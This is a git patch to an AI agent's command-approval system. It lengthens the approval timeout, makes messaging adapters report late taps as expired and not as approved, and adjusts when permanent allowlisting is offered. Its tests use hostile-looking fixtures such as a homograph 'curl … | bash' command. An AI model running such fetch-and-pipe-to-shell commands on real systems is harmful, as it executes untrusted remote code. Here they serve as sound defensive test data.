From a31a31826ca269aff0570520218651e4511941b1 Mon Sep 17 00:00:00 2001 From: Teknium <127238744+teknium1@users.noreply.github.com> Date: Tue, 21 Jul 2026 05:41:41 -0700 Subject: [PATCH] fix(approval): raise gateway approval timeout to 300s, honest stale-tap UX, offer Always on mixed prompts (#68597) Three related messaging-approval fixes: 1. approvals.timeout default 60 -> 300. PR #63501 collapsed the gateway wait onto the canonical approvals.timeout (previously gateway_timeout=300), silently shrinking messaging approval windows to 60s. Push-notification approvals routinely arrive later than a minute; taps landed after the wait had already failed closed. 2. Stale-tap honesty: adapters resolved the approval AFTER rendering ' Approved by ' (Telegram/Discord/Slack), or ignored a zero resolve count (WhatsApp Cloud/Feishu). A tap on an expired prompt claimed approval while the command had already been denied. All button paths now resolve first and render 'Approval expired - command was not run' when nothing was waiting. 3. Mixed-warning prompts (dangerous pattern + tirith finding) now offer Always: the persistence layer already permanently allowlists the pattern key and downgrades the tirith key to session scope, but the UI hid Always whenever ANY tirith warning was present. Pure-tirith prompts still withhold Always (content findings are session-max by design), and Smart-DENY overrides remain once-only. --- cli.py | 2 +- gateway/platforms/whatsapp_cloud.py | 16 ++++-- hermes_cli/callbacks.py | 2 +- hermes_cli/config.py | 8 ++- plugins/platforms/discord/adapter.py | 34 ++++++----- plugins/platforms/feishu/adapter.py | 16 ++++++ plugins/platforms/slack/adapter.py | 44 +++++++++------ plugins/platforms/telegram/adapter.py | 56 ++++++++++++------- .../gateway/test_telegram_approval_buttons.py | 33 +++++++++++ tests/tools/test_command_guards.py | 39 ++++++++++++- tools/approval.py | 34 ++++++++--- website/docs/user-guide/security.md | 6 +- .../current/user-guide/security.md | 4 +- 13 files changed, 219 insertions(+), 75 deletions(-) diff --git a/cli.py b/cli.py index f602e3fe94a0e..05dc6d012905b 100644 --- a/cli.py +++ b/cli.py @@ -11409,7 +11409,7 @@ class HermesCLI(CLIAgentSetupMixin, CLICommandsMixin, CLIBillingMixin): import time as _time with self._approval_lock: - timeout = int(CLI_CONFIG.get("approvals", {}).get("timeout", 60)) + timeout = int(CLI_CONFIG.get("approvals", {}).get("timeout", 300)) response_queue = queue.Queue() self._approval_state = { diff --git a/gateway/platforms/whatsapp_cloud.py b/gateway/platforms/whatsapp_cloud.py index 91f6e699b679e..b284e23dc47a6 100644 --- a/gateway/platforms/whatsapp_cloud.py +++ b/gateway/platforms/whatsapp_cloud.py @@ -1793,11 +1793,19 @@ class WhatsAppCloudAdapter(WhatsAppBehaviorMixin, BasePlatformAdapter): "(session_key=%s) — likely already resolved", session_key, ) - # Send confirmation message — paralleling Telegram's UX. + # Send confirmation message — paralleling Telegram's UX. A tap + # that lands after the wait timed out (count == 0) must not claim + # the command was approved: it was already denied fail-closed. try: - confirm_text = ( - "✅ Approved." if choice == "approve" else "❌ Denied." - ) + if count: + confirm_text = ( + "✅ Approved." if choice == "approve" else "❌ Denied." + ) + else: + confirm_text = ( + "⌛ Approval expired — command was not run " + "(already timed out or resolved elsewhere)." + ) await self.send(str(raw_message.get("from") or ""), confirm_text) except Exception: logger.exception("[whatsapp_cloud] approval confirm failed") diff --git a/hermes_cli/callbacks.py b/hermes_cli/callbacks.py index df2c55a7bb253..b0279ff73deb5 100644 --- a/hermes_cli/callbacks.py +++ b/hermes_cli/callbacks.py @@ -201,7 +201,7 @@ def approval_callback(cli, command: str, description: str) -> str: with lock: from cli import CLI_CONFIG - timeout = CLI_CONFIG.get("approvals", {}).get("timeout", 60) + timeout = CLI_CONFIG.get("approvals", {}).get("timeout", 300) response_queue = queue.Queue() choices = ["once", "session", "always", "deny"] if len(command) > 70: diff --git a/hermes_cli/config.py b/hermes_cli/config.py index 947fddabf4157..70dfa2fda77a9 100644 --- a/hermes_cli/config.py +++ b/hermes_cli/config.py @@ -2672,9 +2672,15 @@ DEFAULT_CONFIG = { # cron_mode — what to do when a cron job hits a dangerous command: # deny — block the command and let the agent find another way (default, safe) # approve — auto-approve all dangerous commands in cron jobs + # + # timeout — seconds to wait for the user's approve/deny before failing + # closed (deny). Shared by the CLI prompt and gateway/messaging waits. + # Messaging approvals arrive as a push notification the user may not see + # immediately — 60s proved too tight on Telegram/Discord (the prompt + # expired before the user reached their phone), so the default is 300. "approvals": { "mode": "smart", - "timeout": 60, + "timeout": 300, "cron_mode": "deny", # User-defined deny rules: fnmatch globs matched against terminal # commands. A match blocks the command unconditionally — BEFORE the diff --git a/plugins/platforms/discord/adapter.py b/plugins/platforms/discord/adapter.py index 215ae0d46d18b..c31b928ad8473 100644 --- a/plugins/platforms/discord/adapter.py +++ b/plugins/platforms/discord/adapter.py @@ -7865,19 +7865,9 @@ def _define_discord_view_classes() -> None: self.resolved = True - # Update the embed with the decision - embed = interaction.message.embeds[0] if interaction.message.embeds else None - if embed: - embed.color = color - embed.set_footer(text=f"{label} by {interaction.user.display_name}") - - # Disable all buttons - for child in self.children: - child.disabled = True - - await interaction.response.edit_message(embed=embed, view=self) - - # Unblock the waiting agent thread via the gateway approval queue + # Unblock the waiting agent thread FIRST, then render the outcome. + # A click that lands after the approval wait timed out (count == 0) + # must not claim "Approved" — the command was already denied. try: from tools.approval import resolve_gateway_approval count = resolve_gateway_approval(self.session_key, choice) @@ -7887,6 +7877,24 @@ def _define_discord_view_classes() -> None: ) except Exception as exc: logger.error("Failed to resolve gateway approval from button: %s", exc) + count = 0 + + if not count: + color = discord.Color.dark_grey() + label = "⌛ Approval expired — command was not run (already timed out or resolved elsewhere)" + + # Update the embed with the decision + embed = interaction.message.embeds[0] if interaction.message.embeds else None + if embed: + embed.color = color + footer = f"{label} by {interaction.user.display_name}" if count else label + embed.set_footer(text=footer) + + # Disable all buttons + for child in self.children: + child.disabled = True + + await interaction.response.edit_message(embed=embed, view=self) @discord.ui.button(label="Allow Once", style=discord.ButtonStyle.green) async def allow_once( diff --git a/plugins/platforms/feishu/adapter.py b/plugins/platforms/feishu/adapter.py index 4668a7372750e..cd2007a96d652 100644 --- a/plugins/platforms/feishu/adapter.py +++ b/plugins/platforms/feishu/adapter.py @@ -2872,6 +2872,22 @@ class FeishuAdapter(BasePlatformAdapter): "Feishu button resolved %d approval(s) for session %s (choice=%s, user=%s)", count, state["session_key"], choice, user_name, ) + if not count and choice != "deny": + # The card was already updated synchronously to "Approved" by + # the callback response, but nothing was waiting — the wait + # already timed out (fail-closed deny) or was resolved via + # /approve. Correct the record so the user doesn't believe + # the command ran. + _chat = str(state.get("chat_id", "") or chat_id or "") + if _chat: + try: + await self.send( + _chat, + "⌛ That approval had already expired — the command " + "was not run (it timed out or was resolved elsewhere).", + ) + except Exception: + logger.debug("[Feishu] expired-approval notice failed", exc_info=True) except Exception as exc: logger.error("Failed to resolve gateway approval from Feishu button: %s", exc) diff --git a/plugins/platforms/slack/adapter.py b/plugins/platforms/slack/adapter.py index 9c158a7f5a673..02b7363d93c9a 100644 --- a/plugins/platforms/slack/adapter.py +++ b/plugins/platforms/slack/adapter.py @@ -4223,6 +4223,26 @@ class SlackAdapter(BasePlatformAdapter): if self._approval_resolved.pop(msg_ts, True): return + # Resolve the approval FIRST — this unblocks the agent thread. Render + # after, so a click that lands past the approval timeout (count == 0) + # shows "expired" instead of falsely claiming the command was approved. + try: + from tools.approval import resolve_gateway_approval + + count = resolve_gateway_approval(session_key, choice) + logger.info( + "Slack button resolved %d approval(s) for session %s (choice=%s, user=%s)", + count, + session_key, + choice, + user_name, + ) + except Exception as exc: + logger.error( + "Failed to resolve gateway approval from Slack button: %s", exc + ) + count = 0 + # Update the message to show the decision and remove buttons label_map = { "once": f"✅ Approved once by {user_name}", @@ -4231,6 +4251,11 @@ class SlackAdapter(BasePlatformAdapter): "deny": f"❌ Denied by {user_name}", } decision_text = label_map.get(choice, f"Resolved by {user_name}") + if not count: + decision_text = ( + "⌛ Approval expired — command was not run " + "(already timed out or resolved elsewhere)" + ) # Get original text from the section block original_text = "" @@ -4265,24 +4290,7 @@ class SlackAdapter(BasePlatformAdapter): except Exception as e: logger.warning("[Slack] Failed to update approval message: %s", e) - # Resolve the approval — this unblocks the agent thread - try: - from tools.approval import resolve_gateway_approval - - count = resolve_gateway_approval(session_key, choice) - logger.info( - "Slack button resolved %d approval(s) for session %s (choice=%s, user=%s)", - count, - session_key, - choice, - user_name, - ) - except Exception as exc: - logger.error( - "Failed to resolve gateway approval from Slack button: %s", exc - ) - - # (approval state already consumed by atomic pop above) + # (approval already resolved above; state consumed by atomic pop) # ----- Thread context fetching ----- diff --git a/plugins/platforms/telegram/adapter.py b/plugins/platforms/telegram/adapter.py index 5e158dec030e9..91366ff87b547 100644 --- a/plugins/platforms/telegram/adapter.py +++ b/plugins/platforms/telegram/adapter.py @@ -5963,29 +5963,14 @@ class TelegramAdapter(BasePlatformAdapter): await query.answer(text="This approval has already been resolved.") return - # Map choice to human-readable label - label_map = { - "once": "✅ Approved once", - "session": "✅ Approved for session", - "always": "✅ Approved permanently", - "deny": "❌ Denied", - } user_display = getattr(query.from_user, "first_name", "User") - label = label_map.get(choice, "Resolved") - await query.answer(text=label) - - # Edit message to show decision, remove buttons - try: - await query.edit_message_text( - text=self.format_message(f"{label} by {user_display}"), - parse_mode=ParseMode.MARKDOWN_V2, - reply_markup=None, - ) - except Exception: - pass # non-fatal if edit fails - - # Resolve the approval — unblocks the agent thread + # Resolve the approval FIRST — unblocks the agent thread. + # Rendering happens after so the message reflects what + # actually occurred: a tap that lands after the approval + # wait timed out (count == 0) must NOT claim "Approved" — + # the command was already denied and will not run (#63501 + # regression follow-up: 60s waits made stale taps common). try: from tools.approval import resolve_gateway_approval count = resolve_gateway_approval(session_key, choice) @@ -5997,6 +5982,35 @@ class TelegramAdapter(BasePlatformAdapter): logger.error("Failed to resolve gateway approval from Telegram button: %s", exc) count = 0 + if count: + # Map choice to human-readable label + label_map = { + "once": "✅ Approved once", + "session": "✅ Approved for session", + "always": "✅ Approved permanently", + "deny": "❌ Denied", + } + label = label_map.get(choice, "Resolved") + edit_text = f"{label} by {user_display}" + else: + label = "⌛ Approval expired" + edit_text = ( + f"{label} — no command was waiting. " + f"It already timed out (and was denied) or was resolved elsewhere." + ) + + await query.answer(text=label) + + # Edit message to show decision, remove buttons + try: + await query.edit_message_text( + text=self.format_message(edit_text), + parse_mode=ParseMode.MARKDOWN_V2, + reply_markup=None, + ) + except Exception: + pass # non-fatal if edit fails + # Resume the typing indicator — paused when the approval was # sent (gateway/run.py). The text /approve and /deny paths # call resume_typing_for_chat here too; without it, typing diff --git a/tests/gateway/test_telegram_approval_buttons.py b/tests/gateway/test_telegram_approval_buttons.py index 1698a7010dce5..d65b2ad683a6f 100644 --- a/tests/gateway/test_telegram_approval_buttons.py +++ b/tests/gateway/test_telegram_approval_buttons.py @@ -374,6 +374,39 @@ class TestTelegramApprovalCallback: assert "12345" in adapter._typing_paused + @pytest.mark.asyncio + async def test_stale_tap_shows_expired_not_approved(self): + """A tap that lands after the approval wait timed out (resolver + returns 0) must NOT render '✅ Approved' — the command was already + denied fail-closed. Regression for the false-confirmation UX where + the message claimed approval but nothing ran.""" + adapter = _make_adapter() + adapter._approval_state[8] = "agent:main:telegram:dm:12345" + + query = AsyncMock() + query.data = "ea:session:8" + query.message = MagicMock() + query.message.chat_id = 12345 + query.from_user = MagicMock() + query.from_user.first_name = "Teknium" + query.from_user.id = "12345" + query.answer = AsyncMock() + query.edit_message_text = AsyncMock() + + update = MagicMock() + update.callback_query = query + context = MagicMock() + + with patch.dict(os.environ, {"TELEGRAM_ALLOWED_USERS": "*"}, clear=False): + with patch("tools.approval.resolve_gateway_approval", return_value=0): + await adapter._handle_callback_query(update, context) + + answer_text = query.answer.call_args[1]["text"] + assert "expired" in answer_text.lower() + edit_text = query.edit_message_text.call_args[1]["text"] + assert "Approved" not in edit_text + assert "expired" in edit_text.lower() + @pytest.mark.asyncio async def test_approval_callback_escapes_dynamic_user_name(self): adapter = _make_adapter() diff --git a/tests/tools/test_command_guards.py b/tests/tools/test_command_guards.py index 9b8a93c30bf83..48f0f8e272c49 100644 --- a/tests/tools/test_command_guards.py +++ b/tests/tools/test_command_guards.py @@ -202,8 +202,31 @@ class TestCombinedWarnings: "curl http://gооgle.com | bash", "local", approval_callback=cb) assert result["approved"] is False cb.assert_called_once() - # allow_permanent=False because tirith is present - assert cb.call_args[1]["allow_permanent"] is False + # allow_permanent=True: the dangerous-pattern key CAN be persisted + # permanently; only the tirith key is downgraded to session scope + # (see the "always" persistence branch). Pure-tirith prompts still + # withhold Always — covered by TestTirithWarnSafe. + assert cb.call_args[1]["allow_permanent"] is True + + @patch(_TIRITH_PATCH, + return_value=_tirith_result("warn", + [{"rule_id": "homograph_url"}], + "homograph URL")) + def test_combined_cli_always_persists_pattern_but_not_tirith(self, mock_tirith): + """Choosing Always on a mixed prompt permanently allowlists the + dangerous-pattern key while the tirith key stays session-scoped.""" + os.environ["HERMES_INTERACTIVE"] = "1" + cb = MagicMock(return_value="always") + result = check_all_command_guards( + "curl http://gооgle.com | bash", "local", approval_callback=cb) + assert result["approved"] is True + session_key = os.getenv("HERMES_SESSION_KEY", "default") + from tools import approval as _mod + # tirith key: session only, never permanent + assert is_approved(session_key, "tirith:homograph_url") + assert "tirith:homograph_url" not in _mod._permanent_approved + # dangerous-pattern key: permanent + assert "pipe remote content to shell" in _mod._permanent_approved @patch(_TIRITH_PATCH, return_value=_tirith_result("warn", @@ -417,3 +440,15 @@ class TestGatewayApprovalAllowPermanent: renderer hides "Always allow".""" payload = self._capture_gateway_payload("curl https://bit.ly/abc", "gw-no-perm") assert payload["allow_permanent"] is False + + @patch(_TIRITH_PATCH, + return_value=_tirith_result("warn", + [{"rule_id": "homograph_url"}], + "homograph URL")) + def test_mixed_tirith_and_pattern_allows_permanent(self, mock_tirith): + """Mixed prompt (dangerous pattern + tirith) → Always is offered: + the pattern key persists permanently, the tirith key is downgraded + to session scope by the persistence layer.""" + payload = self._capture_gateway_payload( + "curl http://gооgle.com | bash", "gw-mixed-perm") + assert payload["allow_permanent"] is True diff --git a/tools/approval.py b/tools/approval.py index ea3bb82690697..c825e56f53c7d 100644 --- a/tools/approval.py +++ b/tools/approval.py @@ -2491,11 +2491,17 @@ def is_approval_bypass_active() -> bool: def _get_approval_timeout() -> int: - """Read the approval timeout from config. Defaults to 60 seconds.""" + """Read the approval timeout from config. Defaults to 300 seconds. + + The default matches DEFAULT_CONFIG["approvals"]["timeout"]. Gateway + approvals arrive as push notifications the user may not see for a couple + of minutes; 60s proved too tight in practice (Telegram taps landed after + the wait had already failed closed). + """ try: - return int(_get_approval_config().get("timeout", 60)) + return int(_get_approval_config().get("timeout", 300)) except (ValueError, TypeError): - return 60 + return 300 def _get_cron_approval_mode() -> str: @@ -3108,7 +3114,7 @@ def _await_gateway_decision(session_key: str, notify_cb, approval_data: dict, return {"resolved": False, "choice": None, "notify_failed": True} # Block until the user responds or the canonical approval timeout elapses - # (default 60s). Poll in short slices so we can fire activity heartbeats + # (default 300s). Poll in short slices so we can fire activity heartbeats # every ~10s to the agent's inactivity tracker — otherwise the gateway # watchdog kills the agent while the user is still responding. Mirrors # _wait_for_process() cadence. @@ -3416,7 +3422,15 @@ def check_all_command_guards(command: str, env_type: str, combined_desc = "; ".join(desc for _, desc, _ in warnings) primary_key = warnings[0][0] all_keys = [key for key, _, _ in warnings] - has_tirith = any(is_t for _, _, is_t in warnings) + # "Always" is offered when at least one warning is a dangerous-pattern + # key that the persistence layer would actually allowlist permanently. + # Pure-tirith findings are session-max by design (no broad permanent + # allowlisting of content-level security findings), so a prompt with + # ONLY tirith warnings keeps Always hidden. Mixed prompts (pattern + + # tirith) previously hid Always too, even though choosing it would + # correctly persist the pattern key and downgrade the tirith key to + # session — the UI was stricter than the persistence layer. + has_permanent_capable = any(not is_t for _, _, is_t in warnings) # Gateway/async approval — block the agent thread until the user # responds with /approve or /deny, mirroring the CLI's synchronous @@ -3446,8 +3460,10 @@ def check_all_command_guards(command: str, env_type: str, "pattern_keys": all_keys, "description": redact_sensitive_text(combined_desc), # Smart DENY overrides are one-operation decisions, so the UI - # must not offer a permanent scope. - "allow_permanent": not has_tirith and not smart_denied_for_owner, + # must not offer a permanent scope. Otherwise offer Always + # whenever any dangerous-pattern warning can actually be + # persisted (pure-tirith prompts stay session-max). + "allow_permanent": has_permanent_capable and not smart_denied_for_owner, } if smart_denied_for_owner: approval_data["smart_denied"] = True @@ -3550,7 +3566,7 @@ def check_all_command_guards(command: str, env_type: str, return result # CLI interactive: single combined prompt - # Hide [a]lways when any tirith warning is present + # Hide [a]lways when no persistable (non-tirith) warning is present _fire_approval_hook( "pre_approval_request", command=command, @@ -3563,7 +3579,7 @@ def check_all_command_guards(command: str, env_type: str, choice = prompt_dangerous_approval( command, combined_desc, - allow_permanent=not has_tirith and not smart_denied_for_owner, + allow_permanent=has_permanent_capable and not smart_denied_for_owner, smart_denied=smart_denied_for_owner, approval_callback=approval_callback, ) diff --git a/website/docs/user-guide/security.md b/website/docs/user-guide/security.md index a5488b6250c80..bb1d453db8e0d 100644 --- a/website/docs/user-guide/security.md +++ b/website/docs/user-guide/security.md @@ -32,7 +32,7 @@ The approval system supports three modes, configured via `approvals.mode` in `~/ ```yaml approvals: mode: smart # smart | manual | off - timeout: 60 # seconds to wait for user response (default: 60) + timeout: 300 # seconds to wait for user response (default: 300) cron_mode: deny # deny | approve — what cron jobs do when they hit a dangerous command mcp_reload_confirm: true # /reload-mcp asks before invalidating the MCP tool cache destructive_slash_confirm: true # /clear, /new, /reset, /undo prompt before discarding state @@ -43,7 +43,7 @@ The full set of keys: | Key | Default | What it controls | |---|---|---| | `mode` | `smart` | Approval policy for dangerous shell commands — see the table below. | -| `timeout` | `60` | Seconds Hermes waits for an approval reply before timing out. | +| `timeout` | `300` | Seconds Hermes waits for an approval reply before timing out. | | `cron_mode` | `deny` | How [cron jobs](./features/cron.md) behave headlessly when they trigger a dangerous-command prompt. `deny` blocks the command (the agent must find another path); `approve` auto-approves everything in cron context. | | `mcp_reload_confirm` | `true` | When true, `/reload-mcp` asks before rebuilding the MCP tool set. Rebuilding invalidates the provider prompt cache (tool schemas live in the system prompt), so the next message re-sends full input tokens. Users who click **Always Approve** flip this key to `false`. | | `destructive_slash_confirm` | `true` | When true, destructive session slash commands (`/clear`, `/new`, `/reset`, `/undo`) prompt before discarding conversation state. Three-option dialog (Approve Once / Always Approve / Cancel) routed through native yes/no buttons on Telegram, Discord, and Slack; text fallback elsewhere. Users who click **Always Approve** flip this key to `false`. TUI uses its own modal overlay (set `HERMES_TUI_NO_CONFIRM=1` to opt out there). | @@ -145,7 +145,7 @@ Configure the timeout in `~/.hermes/config.yaml`: ```yaml approvals: - timeout: 60 # seconds (default: 60) + timeout: 300 # seconds (default: 300) ``` ### What Triggers Approval diff --git a/website/i18n/zh-Hans/docusaurus-plugin-content-docs/current/user-guide/security.md b/website/i18n/zh-Hans/docusaurus-plugin-content-docs/current/user-guide/security.md index bde9a38431a53..696e17e8c41ac 100644 --- a/website/i18n/zh-Hans/docusaurus-plugin-content-docs/current/user-guide/security.md +++ b/website/i18n/zh-Hans/docusaurus-plugin-content-docs/current/user-guide/security.md @@ -31,7 +31,7 @@ Hermes Agent 采用纵深防御安全模型。本页涵盖所有安全边界— ```yaml approvals: mode: smart # smart | manual | off - timeout: 60 # 等待用户响应的秒数（默认：60） + timeout: 300 # 等待用户响应的秒数（默认：300） ``` | 模式 | 行为 | @@ -105,7 +105,7 @@ YOLO 模式会禁用会话中**所有**危险命令安全检查——**但硬性 ```yaml approvals: - timeout: 60 # 秒（默认：60） + timeout: 300 # 秒（默认：300） ``` ### 触发审批的条件